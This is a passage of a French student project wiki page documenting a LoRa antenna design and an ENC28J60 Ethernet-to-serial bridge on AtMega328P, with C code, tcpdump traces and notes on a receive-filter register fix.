La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Donc nous avons écrit un code   &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour voir les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
